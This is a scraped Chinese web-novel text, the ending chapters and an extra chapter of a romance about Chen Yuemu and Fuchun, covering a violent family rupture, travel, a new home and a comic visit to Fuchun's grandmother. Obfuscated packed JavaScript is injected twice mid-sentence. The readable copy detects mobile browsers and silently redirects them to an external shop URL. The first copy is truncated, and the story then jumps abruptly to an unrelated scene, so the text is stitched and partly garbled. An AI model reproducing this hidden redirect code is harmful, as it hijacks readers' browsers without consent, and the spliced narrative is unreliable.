陈悦目扬起下巴,站直身躯,如以往那样叛逆,“别那么夸张,夏良协自作自受。他上哪说理?一个大男人让个女的五花大绑扔在外面,说出来谁信?” “他在我门下,是我的人。你让我怎么善后?” 陈悦目冷哼:“那你让他拜我门下,我给他擦屁股。” “混账!”陈父震怒,随后握紧了拳又勉强自己压下怒火,他找陈悦目来有两件事。其一谈不通,只能谈其二。 “我给你在学校买个房子,你把那女的养在那,结婚之前不准露面。” 这话两人都心知肚明什么意思。把福春当情人养着,再找个合适的结婚,面包爱情两不耽误,这是陈父做的最大妥协。 这方面陈悦目绝不让步:“我会娶她,不藏着掖着,大张旗鼓名正言顺地娶她。”他郑重其事宣告,“让我放弃福春绝对不可能!” “你敢忤逆我!” 嗡一声挂画框的细黄麻绳断开。父子彻底谈崩。客厅天翻地覆,两人拳脚相向。 陈悦目这次对着亲爹也毫不留情,拳拳到肉。 陈教授年过半百色厉内荏,一个不留神脑门挨上一拳,还没说上两句话便让陈悦目生生打蒙在地。 男人起初还恍惚,随后慢慢回神,起身,整整衣领,从角落抽出高尔夫球杆朝陈悦目走去。 事到如今,也没有手下留情的必要。影子拖在地上,每走一步便将阴暗拖散一分。这二十多年来,他无往不利,没有一次败仗。 “只要你在北江,就休想胡作非为!” 陈悦目压下眼中的泪,拿起书架上他们父子的相框做格挡。 “我受够了你,你不配当父亲。“ 他知道这是他最后一回来这里。从此以后,天高任鸟飞,他彻底自由了。 “来。”陈悦目说,“有种你今天就打死我。” “你当我不敢?!”陈父挥起球杆—— 咣啷! 花瓶碎落,球杆还举在半空,台阶上咯哒咯哒,脚步走得很稳很慢。 客厅里两人停下动作,一时间忘了反应。 艾琳娜面无表情,拾级而下,“住手。” 陈悦目闭闭眼,将相框丢在地上。 “看你教出来的孽种。” 每一次他们父子干架艾琳娜都躲在一边。她不是个称职的母亲。今天,她想她或许也不是个称职的妻子。 “我说住手。”她转头,瞪着自己的丈夫,原话奉还,“只要你在北江,就休想胡作非为。” 有半秒钟安静,陈父不可置信,随后声音都变了。 “你说什么?” 不破不立,这决定艾琳娜想了很久,是时候有个了断,“我说,从今天起你休想胡作非为再欺负我们母子!” 陈父举起的球杆当成拐杖撑在地上,荒唐大笑,“你敢跟我这么说话?这几十年你吃谁的用谁的?居然敢跟我这么说话?” 艾琳娜闻言瞪大眼,气势汹汹从厨房拿来油倒在那副碍眼的油画上。据说这幅画之所以是红色调是因为画家在画全家福之前还在布上画了另一幅画,而原画的名字就叫《复仇》。 她对准油画按下点火器,骂道:“姓陈的,你别忘了你用谁的嫁妆谁的前途起的家。没我你狗屁不如!” 火焰熊熊燃烧,与画逐渐融合,吞噬。他们的“家”被烧得四分五裂。 男人踉跄冲去厨房拿水扑火。 “洪姐!洪姐!” 洪婶照惯例被他支出去。 陈教授满身是汗,头发和衬衫沾满灰屑,愣生生望着几千万的灰黑残骸。 男人一个不留神跌落,满身水渍污垢狼狈不堪。 这个家是个充满绑线的傀儡之屋,对他们已无幸福可言。曾经的美好回忆在刚才烧起的火中灰飞烟灭。 最后一点念想已经不存在了。 艾琳娜居高临下说:“我们离婚吧。” * 一个月后。 福春正在家做馒头,陈悦目从外面回来。 “看什么呢?” 福春指指手机:“你看热搜。” 夏良协的事越闹越大。起初还在学校里流传,后来不知是谁做的pdf一下在网上传开,因为场面过于劲爆,加上当天缓了两小时后,那孙子居然靠着过硬的心理素质完成了电视采访。视频被扒出,网友就着pdf吃瓜越扒越多。夏良协过往的罪行全被翻出来,受到他侵害的女生也一个两个站出来举报。学阀一词冲上热搜,学校快马加鞭找书记拦住他送开除处分通知。 不仅如此,陈悦目的父亲也受到波及。起先他还帮着压消息,后来发现压不住老东西切割得最快,他与夏良协前些时候就因为利益分割生嫌隙,弄成这样又跟福春和陈悦目有直接关系。夏良协抓不到陈悦目把柄,只好把总账全算在陈父头上,实名举报陈父种种罪行。两人狗咬狗打得死去活来。 “这事还没完吗?”陈悦目放下包去厨房洗手。 “你好意思说。”福春笑骂,“事情整这么大跟你一点关系都没有吗?” 水关停,陈悦目抽纸擦手,又打开橱柜丢掉,“关我屁事。” “是啊,没关系。那窝囊废突然得了五十万,被人带着赌钱,最后去新加坡打工还债也跟你没关系。” 陈悦目喝水,声音淡淡:“不知道你在说什么。” “那说点别的。”福春拍拍手,“姐姐说你爸今晚去印度。” 陈教授为求自保,一把年纪主动请缨带队去印度做交流。他如今尝到以前种下的苦果悔不当初,多次通过陈赏心联系他们母子二人求和解。 “不管。”陈悦目转身,又回头交待,“这事别跟我妈说。” “知道了,我不说。”福春从身后抱住他,“为什么这么早回来?” 陈悦目把从包里拿出一张东西递给她,“看看。” 福春歪头粗粗瞧了一眼,立刻把手认认真真洗干净又擦干,双手郑重捧起。端详一阵后,她扭过脸靠在陈悦目怀中。 “她真好看。”福春嘟囔着,“她原来真好看。” 给她的是一张照片。 女人的身份被查到,陈悦目托同校北大毕业的老师要来她的照片。她是家中独生女,父母在寻找她的十几年间相继离世。物是人非,一家子的命运就因为一次旅程被改写。 “卖她的人贩子一年前在云南被抓到,已经判死刑了。 “福春,以后你替她好好活着。” “太不公平了。” “福春。”陈悦目打断她钻牛角尖。世界从来不讲公平,过去的已经无法挽回,只有在未来尽全力弥补,“她也不希望你一直纠结过去。” 福春不吭声,闷了一阵突然仰起脸说:“……别的都行,就是我学习太差赶不上她。” “那没辙,小心她托梦拿鸡毛掸子揍你。” 福春破涕为笑。 陈悦目垂眼望着照片,又抬头看看福春,最终将那微不足道的疑问抛掉,把人搂进怀中细声安慰:“我爱你,福春,我爱你……” * 下午 福春四处给照片寻摸放一个好位置,翻箱倒柜鼓捣半天,意外从床头柜发现一件东西。 “你看我找到了什么?”一枚银圈戒指套在她无名指闪耀。 戒指是陈悦目半年前就买好的,买完就一直丢在角落。至于为什么丢在角落,福春自己心里清楚。 福春戴着戒指猴似的舞来舞去,洋洋得意把那一圈银亮挥在空中。 陈悦目眼神暗沉,半晌,盯着对面平静说:“摘下来。” “什么呀?”福春嘚瑟,“你不跟我求婚?不说爱我?” 这事一点都不好笑。 “摘下来。” “不摘,就戴着。” 他去抢,福春把手护在怀里。 “谁说是给你的?” 戴着戒指的那只手攀在陈悦目肩膀,福春像个无赖,在他脆弱的神经线上肆意挑弄。 “就是买给我的吧?我戴着刚好。” “快点摘下来。”陈悦目不甘落下风,从身后钳住福春握着她的手要把戒指摘掉,“我说给你了吗?” 耳边忽然一股温热,手嘶溜滑上他脖颈缠绕,福春悄声说:“我戴着戒指和你做,好不好?” 耳中一声尖鸣。有人说突然听到这种声音是精灵路过,这哪是精灵路过,陈悦目想,这根本是冤家报应。 有句话他知道说出来自己就完了。 陈悦目合上眼,认命般自暴自弃,“那你爱我吗?” 福春说:“你告诉我爱是什么?” 他们决定在欲/望中探索。 两具大汗淋漓的肉/体交叠在软床之上。 阳光晒得人发晕。陈悦目闭眼,又睁开,望着福春高高在上。 关于福春的一切都是例外。 陈悦目纵容她为所欲为,爱她的为所欲为,爱她只对自己为所欲为。 所有的血液快冲破皮肤喷出,快乐与痛苦缠绕。 汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陈悦目挂掉视频,又打去几通电话。等福春那边骑了半小时左右,从身后跟上来一个车队,男男女女有骑车的,有开车的将她团团围住。周围的人跟陆续跟福春打招呼。 陈悦目的视频又打过来。福春举着手机晃一圈然后问:“这是你的杰作吗?” “你一个人太危险了。” “麻烦这么多人怪不好意思的。” “他们去上饶看油菜花顺路。” “哪顺了?” “我说顺就顺,你别管。” “嗯。” “吃住都安排好了,你跟他们走。” 陈悦目准备挂电话。 “你去干吗?再聊会。” “不聊了,我去洗澡。” 福春叫住他:“别挂,让我看。” “看什么,你专心骑车。” “蹬车没劲,你让我看看。” 陈悦目无语,然后让她看了。车骑半路手机掉地上,后面的人帮福春捡起来,画面正好卡住。场面太精彩,气得陈悦目三天没理人,任由福春在冰冷的酒店大套房吃着没有感情的山珍海味反省忏悔。 半个月后,福春吃吃玩玩来到杭州。逛了一圈西湖,去了趟灵隐寺,还跑象山溜进美院逛了一轮。 最后她带着那个小布袋来到岳王新村。村子在20年改建,如今已经大变样,只剩西湖岳王路旁的那颗百年老朴树还留着。马路上车来车往,人声喧闹,福春用手感受着那粗糙的树皮,试图摸到一片曾经的记忆。 上学时骑车路过,夏日里躲着乘凉,和朋友们围着跳皮筋。 她把布袋里的土轻轻洒在树下。 “回家了。” 碧蓝天空下吹起一阵大风,太阳伞被吹得翻起来,树叶子一直响。 沙沙……沙沙…… 福春起身,闭上眼,发丝扬在空中。树下光影斑驳,风把太阳送来抚摸她的脸。 一滴泪掉在泥土上。 她说:“回家了。” * 结尾 “人生有很多无能为力的东西,家庭,金钱和疾病,能做的只有……” 陈悦目反反复复敲下这句话又删掉。 半小时了,他还卡在这写不出来。 “靠,写点东西真难。” “别写啦!”福春难得在阳台收拾花草,在阳光里对陈悦目招手,“过来。” 眼镜摘下放桌上,陈悦目还盯着外面想那句话,嘟囔:“能做的只有……” “晒太阳啦!” 陈悦目笑道:“荒谬。” * 四月十三日,那颗百年老朴树下开出一朵小红花。 46. 番外一 结婚前 大中午,路面让太阳晒得冒气。车子走到收费站停下,福春从副驾上悠悠醒过来。 “这么快到了?” 去一趟杭州来回花了一个多月,福春一路上山下海吃喝玩乐。以前穷,走的最远的地方就是北江市,现在托陈悦目的福她也能逛遍名山胜水开开眼界。福春乐而忘返,不知今夕是何年。 不过有人王八办走读——憋不住了。 “上次买的领带你给我放哪了?” “不知道。” “我不管,你找出来。” “我在外面呢怎么找?” 陈悦目说:“那就回来找。” 福春歪脖子夹电话吼道:“大哥,我还在买藕粉呢!” 陈悦目管她买什么粉,他就要人回来,“快点回家,不回来我把你磨成粉。” 话说到这份上两人肯定是要干架的。 福春气死,粉也不买站在西湖边上和陈悦目隔空battle。吵完陈悦目老实了,也不催她,还给酒店多续了一个礼拜。 不过福春也盘算着该回去了,她有点想他那气呼呼的小倔样,这会不定坐床上怎么嘀咕自己呢。福春就喜欢他压着火又拿自己无可奈何的憋屈样子,恨不得马上回北江看看。 “姑娘,里面进不去给你停这了。”司机把车停在路边。福春下车沿着人行道往回一直走到一座流线型大门建筑前。 这个地方气派华贵,黑灰色曲面墙上挂着小而规整的银色LOGO——天麓华府。 门口保安高大威猛,灰色制服整洁利落没有一丝褶皱。福春走上去刚说一句,对方立刻知晓她的身份并把人带进园内。 这里是北江知名富豪小区,房地产最火的时候一平米炒到20万,光每个月的物业费就够福春在村里盖栋楼。 她看着楼前气派的园林绿化。现在是冬天,园子里居然满是绿油油的树丛,而且到处都在喷水。 福春站在大喷泉前仰望金黄奢华的归家大堂惊叹:“嚯,真气派。”然后给保安来了一句,“这里自来水里是不是都掺金子的?” 保安无语,装没听见直接将她带进大堂,“汤小姐,管家稍后过来带您上楼。” 没过一分钟,大厅侧面电梯下来一位穿深灰色套装的女士来到福春面前。 管家直接带着她刷卡上楼。宽敞的电梯内空空荡荡,福春眼睛到处在找楼层按键和显示屏。管家小姐也特别有礼貌,看出她的疑问立刻委婉解释:“您的信息陈先生已经跟我们提前登记过,稍后有专人上来为您录人脸识别,以后您正常出入专属电梯即可,无需按键。” “那钥匙……”话没问完,电梯唰地打开,管家站边上做个请的手势朝她鞠躬温声细气道,“欢迎回家,汤小姐。” 福春瞪着眼前景象把要问的后半句话又憋回去。 电梯门合上,她站在玄关,脚下整齐摆放原来家里穿的灰绿拖鞋。 福春换上鞋走进去,望着眼前无敌江景大平层乐得打滚。她兴高采烈跑了一圈发现陈悦目给她打微信。 “在屋里瞎跑什么?别摔着。” “你怎么知道?!” “岛台上放着摄像头呢,把你的傻样全拍下来了。” “变态!“福春转身走过去拿起摄像头,“还有别的吗?” “只有这个,前阵装修来的人多才装上的。” 她朝镜头做个鬼脸然后把电源拔下,电话那边陈悦目继续说:“晚上你先睡,我临时有事留在学校这。” “你不来呀?” 那边沉默一阵,声音里满含笑意问她:“想我了吗?” 福春回答:“烦死了。” “到底想我没有?” 她直接把电话挂断。 江景看久了也无趣。这么高这么远,一点不接地气,不如小公寓外叽叽喳喳的烟火人间。 福春原本路上还兴致勃勃计划晚上两人世界要怎么过,过两人世界又不能她一个人唱独角戏。回北江第一天把她一个人晾着算怎么回事? “拉倒,睡觉!” 她赶着回来从昨晚就没睡踏实,陈悦目不回就不回,自己还乐得睡大觉。 福春在床上躺一阵又跑到沙发迷瞪一会,最后抱着被和枕头坐起来四处张望。 陈悦目的审美癖好就和他的人一样理所当然的刁钻,完美展示他在大英帝国浸淫十年的养成的闷骚风格。 福春把被褥铺进大床边的Jacuzzi复古浴缸里然后一屁股坐进去,“浴缸放卧室,卧室放客厅,走哪都住大开间,真有你的。” 她也不知道是真睡得舒服还是折腾累了,总之浅浅睡了一阵,等到天刚暗下,又被厨房那边的门铃吵醒。 陈悦目叫的餐送到。福春迷迷糊糊把餐点逐个拆开,看见里面装的饭菜想了一会,最终把饭又装回袋子拎着出门。 晚上8点,她回到和陈悦目的小出租屋。 金窝银窝“……赶不上自己的狗窝。” 屋子如往日那般一丝不苟。福春没开灯,直接进去放东西洗手。 陈悦目饭不会做但在厨房立下的规矩不少。日子久了福春渐渐也养成和他一样的习惯。 “洗手液非要搓够一分钟,什么毛病?”她嘴上抱怨手里动作一点没省。擦干净手她把外衣脱下反着搭在椅背上,然后走到床边直直摔进去,许久未感受的舒适扑面而来。 “还是这张床舒服。” 福春把衣服脱掉,身边是陈悦目的睡衣,上面沾满他的味道。她抱在怀中,企图闻着味睡个好觉。味道钻进身体里意外被挑起另一种欲望。她把衣服缠在怀中,手从衣衫抚摸到皮肤,然后一路往下…… 晚上八点半,陈悦目开门回家,一脚踩上被踢翻的鞋。他走进屋子,宽大的床隆起一块阴影。陈悦目低头,看见福春正抱着他的睡衣,微张着嘴说: “我想你了……” 想的方式很直接,即使在黑暗里画面也足够震撼。 “疯子……”这样浓烈直白跳脱常理的表达正是陈悦目喜欢的,他不客气地把外套一扔直接压上床。 两人触碰到的一刹那火光燎原,唇舌胡搅蛮缠软磨硬泡,吻得喘不过气来也不肯罢休。 陈悦目不等福春缓神又抱着人走进浴室,一番折腾过了瘾才肯歇下来躺在一块。 陈悦目用拇指摩挲福春鬓角发丝,再也不问她到底想不想自己。 “想出去你直接跟我说,一起去不好吗?省得分开这么长时间。” 福春趴在他胸口,闭着眼,像一条吃饱了餍足慵懒的蛇,“我也没想到……”她没说完后半句,抻了个懒腰抱住陈悦目保证,“下次带你一块去。” “下次你还想自己走?”没等福春反应过来身旁捏住她下巴立刻说道,“汤春福,度蜜月你敢撇下我试试?” 两人对视, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13785995|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被子一拉嬉嬉笑笑又搂在一处。夜已深,桌上饭菜凉透,一整晚放在袋子里没拆开。 * 快结婚了,福春准备回村一趟。 她父母早先已经在市里和陈悦目母子吃过一顿饭。福春爸妈如今在南边定居有了自己的小生意,老两口日子过得红红火火,疯闺女也找到好人家,对于这门婚事当然没有任何抱怨。 唯一美中不足的是迄今为止奶奶还没见过陈悦目。 “你奶奶有一阵没出屋子喽!”邻居伸手一指紧闭的大门,“原来挺爱出来瞎逛的,这是怎么了?” 福春觉得老人家可能还在怪自己先前发疯逃婚。奶奶一辈子呆在乡下,虽然脾气古怪常做些无厘头的事但内心淳朴守旧,一把年纪接受不了外面的花花世界也无可厚非。 福春其实挺后悔那晚说话的时候没避着奶奶,人那么大年纪让她气出个三长两短她这辈子都不能安生。 福春歪脑袋看着自家紧闭的大门,“奇了怪了这老太太,前一阵还能出来呢?” 她拿一兜子苹果撞门大喊:“奶,奶啊快开门。我结婚啦,你看我带孙女婿回来见您,你开开门呀!” 陈悦目打断她,把那手里袋子抢过来提着,“干吗呢,苹果都被你撞烂了。” “我着急呀!” “急什么?皇帝不急太监急。” “合着她不是你奶你不操心,我奶奶一把年纪要是弯个腰抻个腿要是有个好歹我还活不活啦!”福春大声嚷嚷,说着又伸手拍门。 “是不是你做什么惹你奶生气了?” 陈悦目看在眼里不仅不感同身受反而乐呵呵看戏,自己媳妇的瓜吃得不亦乐乎。 福春气得踹他一脚大骂:“你这什么表情?我奶要是对我不满意那根源只能在你身上。你才好好反省一下!” 陈悦目耳朵快让她震聋,指指旁边出谋划策:“我听屋里有动静,不放心你翻墙看看不就得了?” 福春说干就干,马上扒拉陈悦目让他杠着自己爬墙头看看里面。 汤家墙头砌得不算高,她骑陈悦目肩上高出围墙半个身子。福春靠在墙边上身子往里探。 不看还好,一看把她下巴都惊掉了。 院里袜子堆得到处都是,中间还有模有样架着摄影灯。而她的奶奶,那个总穿碎花棉裤满大街溜达的精神老太,现在正一脚渔网袜一脚堆堆袜穿着在院子里喂鸡。 福春震惊了,老太也震惊了。 一个踩着陈悦目脑袋就往院里跳,另一个鸡饲料一扬蹭地窜进屋里。 老太太不出屋原来是在自家院中搞起小作坊卖臭脚丝袜。老人家也不知道是被谁带的,进了一个团队帮着网红卖东西。袜子穿不完就扔鸡窝沤两天。事虽然缺德但赚得真不少,这年头互联网把五湖四海的变态缺心眼全凑一起,想讲良心骗少点都没机会。 福春被她奶彻底整服气了,哭笑不得:“奶,别什么乱七八糟都干,以后要钱我给你。” 老人家缩在床头不言语。可能自己也觉得丢人,所以就闷头在家里搞,谁来也不应声。 陈悦目拍拍福春肩膀,“算了,人没事就好。我看外头那灯电线皮都让鸡啄坏了,袜子堆外面容易着火。有个看小说的活您做吗?一天一百我给您日结。” 老太太仰头,眼中又有了光。 至此,福春奶奶总算正式见过陈悦目,并且对这位孙女婿甚是满意。